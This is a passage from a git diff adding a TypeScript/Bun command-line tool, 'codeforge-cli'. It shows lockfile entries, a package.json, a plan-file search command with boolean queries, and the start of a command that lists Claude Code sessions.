"sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], + + "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="], + + "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], + + "picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + + "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], + + "reusify": ["reusify@1.1.0", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="], + + "run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="], + + "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="], + + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + + "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + } +} diff --git a/cli/package.json b/cli/package.json new file mode 100644 index 0000000..339ba9d --- /dev/null +++ b/cli/package.json @@ -0,0 +1,29 @@ +{ + "name": "codeforge-cli", + "version": "0.1.0", + "description": "CLI for CodeForge development workflows", + "type": "module", + "bin": { + "codeforge": "./dist/codeforge.js" + }, + "scripts": { + "build": "bun build src/index.ts --outdir dist --target bun", + "dev": "bun run src/index.ts", + "test": "bun test" + }, + "dependencies": { + "commander": "^13.0.0", + "chalk": "^5.4.0", + "fast-glob": "^3.3.0" + }, + "devDependencies": { + "@types/bun": "^1.3.10", + "@types/node": "^22.0.0", + "typescript": "^5.7.0" + }, + "engines": { + "node": ">=18.0.0" + }, + "license": "GPL-3.0", + "author": "AnExiledDev" +} diff --git a/cli/src/commands/plan/search.ts b/cli/src/commands/plan/search.ts new file mode 100644 index 0000000..d4df661 --- /dev/null +++ b/cli/src/commands/plan/search.ts @@ -0,0 +1,107 @@ +import chalk from "chalk"; +import type { Command } from "commander"; +import { loadPlans } from "../../loaders/plan-loader.js"; +import { + formatPlanJson, + formatPlanText, + type PlanSearchResult, +} from "../../output/plan-text.js"; +import { evaluate, parse } from "../../search/query-parser.js"; + +interface PlanSearchOptions { + limit: string; + format: string; + color?: boolean; + fullText?: boolean; +} + +function extractContextLines(content: string, query: string): string[] { + const contentLines = content.split("\n"); + // Extract individual terms from the query (simple word extraction) + const terms = query + .replace(/\b(AND|OR|NOT)\b/gi, "") + .replace(/[()]/g, "") + .split(/\s+/) + .filter((t) => t.length > 0) + .map((t) => t.replace(/^["']|["']$/g, "").toLowerCase()); + + if (terms.length === 0) return []; + + const matchingIndices = new Set(); + + for (let i = 0; i < contentLines.length; i++) { + const lower = contentLines[i].toLowerCase(); + for (const term of terms) { + if (lower.includes(term)) { + matchingIndices.add(i); + break; + } + } + } + + // Add context lines (+/- 1 line) + const contextIndices = new Set(); + for (const idx of matchingIndices) { + if (idx > 0) contextIndices.add(idx - 1); + contextIndices.add(idx); + if (idx < contentLines.length - 1) contextIndices.add(idx + 1); + } + + // Sort and deduplicate, cap at 5 + const sorted = [...contextIndices].sort((a, b) => a - b).slice(0, 5); + return sorted.map((i) => contentLines[i]); +} + +export function registerPlanSearchCommand(parent: Command): void { + parent + .command("search") + .description("Search across plan files") + .argument("[query]", "Search query (supports AND, OR, NOT, quotes)") + .option("-n, --limit ", "Maximum number of results", "20") + .option("-f, --format ", "Output format: text|json", "text") + .option("--no-color", "Disable colored output") + .option("--full-text", "Disable content truncation") + .action(async (query: string | undefined, options: PlanSearchOptions) => { + try { + if (!options.color) { + chalk.level = 0; + } + + const plans = await loadPlans(); + + let results: PlanSearchResult[]; + + if (query) { + const queryNode = parse(query); + results = []; + for (const plan of plans) { + if (evaluate(queryNode, plan.content)) { + const matchingLines = extractContextLines(plan.content, query); + results.push({ plan, matchingLines }); + } + } + } else { + results = plans.map((plan) => ({ plan })); + } + + // Apply limit + const limit = parseInt(options.limit, 10); + results = results.slice(0, limit); + + if (options.format === "json") { + console.log(formatPlanJson(results)); + } else { + console.log( + formatPlanText(results, { + noColor: !options.color, + fullText: options.fullText, + }), + ); + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + console.error(`Error: ${message}`); + process.exit(1); + } + }); +} diff --git a/cli/src/commands/session/list.ts b/cli/src/commands/session/list.ts new file mode 100644 index 0000000..4e78c1a --- /dev/null +++ b/cli/src/commands/session/list.ts @@ -0,0 +1,96 @@ +import chalk from "chalk"; +import type { Command } from "commander"; +import { loadHistory } from "../../loaders/history-loader.js"; +import { extractSessionMeta } from "../../loaders/session-meta.js"; +import { + formatSessionListJson, + formatSessionListText, + type SessionListEntry, +} from "../../output/session-list.js"; +import { discoverSessionFiles } from "../../utils/glob.js"; +import { parseRelativeTime, parseTime } from "../../utils/time.js"; + +interface ListCommandOptions { + project?: string; + since?: string; + after?: string; + before?: string; + limit: string; + format: string; + color?: boolean; +} + +export function registerListCommand(parent: Command): void { + parent + .command("list") + .description("List previous Claude Code sessions") + .option("--project ", "Project directory filter") + .option("--since